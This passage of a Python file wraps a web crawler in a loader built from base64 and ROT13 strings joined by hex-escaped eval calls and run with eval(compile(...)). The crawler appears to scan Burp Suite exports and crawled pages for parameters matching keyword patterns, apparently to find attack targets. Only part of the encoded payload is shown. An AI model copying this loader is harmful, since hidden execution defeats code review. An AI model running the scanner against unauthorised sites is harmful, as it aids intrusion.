F1b3RlKHJlLnNlYXJjaChqc29uX3JlZ2V4LHJlc3BvbnNlKS5ncm91cCgxKSkKCQkJCQkJI3ByaW50IChqc29uX3JlcSkKCQkJCQkJanNvbl9yZXE9anNvbl9yZXEucmVwbGFjZSgnXG4nLCAnJykucmVwbGFjZSgnXHInLCAnJykKCQkJCQkJZm9yIGtleSx2YWx1ZSBpbiBqc29uLmxvYWRzKGpzb25fcmVxKS5pdGVtcygpOgoJCQkJCQkJYnVycF9tYXRjaFVSTEtleXdvcmRzSW5OYW1lKCJQT1NUIixrZXksbGlua1VybCkKCQkJCQkJCWJ1cnBfbWF0Y2hVUkxQYXR0ZXJuSW5WYWx1ZSgiUE9TVCIsa2V5LHZhbHVlLGxpbmtVcmwpCgkJCQkjVE9ETwoJCQkJZWxpZiAieG1sIiBpbiBjb250ZW50X3R5cGU6CgkJCQkJcHJpbnQgKCIiKQoKCQkJZWxpZiBpdGVtLmZpbmQoJ3N0YXR1cycpLnRleHQ9PSIyMDAiIGFuZCBpdGVtLmZpbmQoJ21ldGhvZCcpLnRleHQ9PSJHRVQiOgoJCQkJY2hlY2tpbmdfcGFyYW1zX2Zvcl91cmw9IHJlLmZpbmRhbGwoIihcP3xcJikoW149XSspXD0oW14mXSspIixsaW5rVXJsKQoKCQkJCSNDaGVja2luZyBpZiB0aGVyZSBpcyBhIHBhcmFtYXRlciBpbiB0aGUgVVJMIChUaGlzIHdvdWxkIGZpbHRlciByZXN0IEFQSXMgaW4gdGhlIGZvcm1hdCAvdGVzdC8xIC90ZXN0LzIpCgkJCQlpZiBub3QgbGVuKGNoZWNraW5nX3BhcmFtc19mb3JfdXJsKT09MDoKCQkJCQkjR2V0dGluZyB0aGUgcGFyYW0gdmFsdWVzIHBhcmFtc1syXSBhbmQgcGFyYW0gbmFtZSBwYXJhbXNbMV0gYW5kIG1hdGNoaW5nIGFnYWluc3QgcmVnZXgKCQkJCQlmb3IgcGFyYW1zIGluIGNoZWNraW5nX3BhcmFtc19mb3JfdXJsOgoJCQkJCQlidXJwX21hdGNoVVJMS2V5d29yZHNJbk5hbWUoIkdFVCIscGFyYW1zWzFdLGxpbmtVcmwpCgkJCQkJCWJ1cnBfbWF0Y2hVUkxQYXR0ZXJuSW5WYWx1ZSgiR0VUIixwYXJhbXNbMV0scGFyYW1zWzJdLGxpbmtVcmwpCgkJCQkKCQkJCSNBZGRpbmcgdGhlIGxpbmsgZm91bmQgdG8gZG8gYmFzaWMgY3Jhd2xpbmcgdG8gZ2V0IG1heGltdW0gcmVzdWx0cwoJCQkJcS5wdXQobGlua1VybCkKCQkJcV9idXJwLnRhc2tfZG9uZSgpCgkJZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgoJCQlwcmludChlKQoJCQlxX2J1cnAudGFza19kb25lKCkKCQkJY29udGludWUKCQkJCmRlZiBiYXNpY0NyYXdsaW5nKHVybCk6CglpZiBhcmdzLmNvb2tpZXM6CgkJciA9IHJlcXVlc3RzLmdldCh1cmwsIGNvb2tpZXM9Y29va2llc0RpY3QpCgllbHNlOgoJCXIgPSByZXF1ZXN0cy5nZXQodXJsKQoJc2l0ZUNvbnRlbnQ9ci50ZXh0CglpZiB1cmwgbm90IGluIGxpbmtzVmlzaXRlZDoKCQljaGVja0Zvcm1QYXJhbWV0ZXJzKHNpdGVDb250ZW50LHVybCkKCQljaGVja0ZvckdldFJlcXVlc3QodXJsKQoJCWxpbmtzVmlzaXRlZC5hZGQodXJsKQoJCQkKCQlmb3IgbGlua3MgaW4gQmVhdXRpZn'
destiny = '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'
joy = '\x72\x6f\x74\x31\x33'
trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29')
eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'<string>','exec'))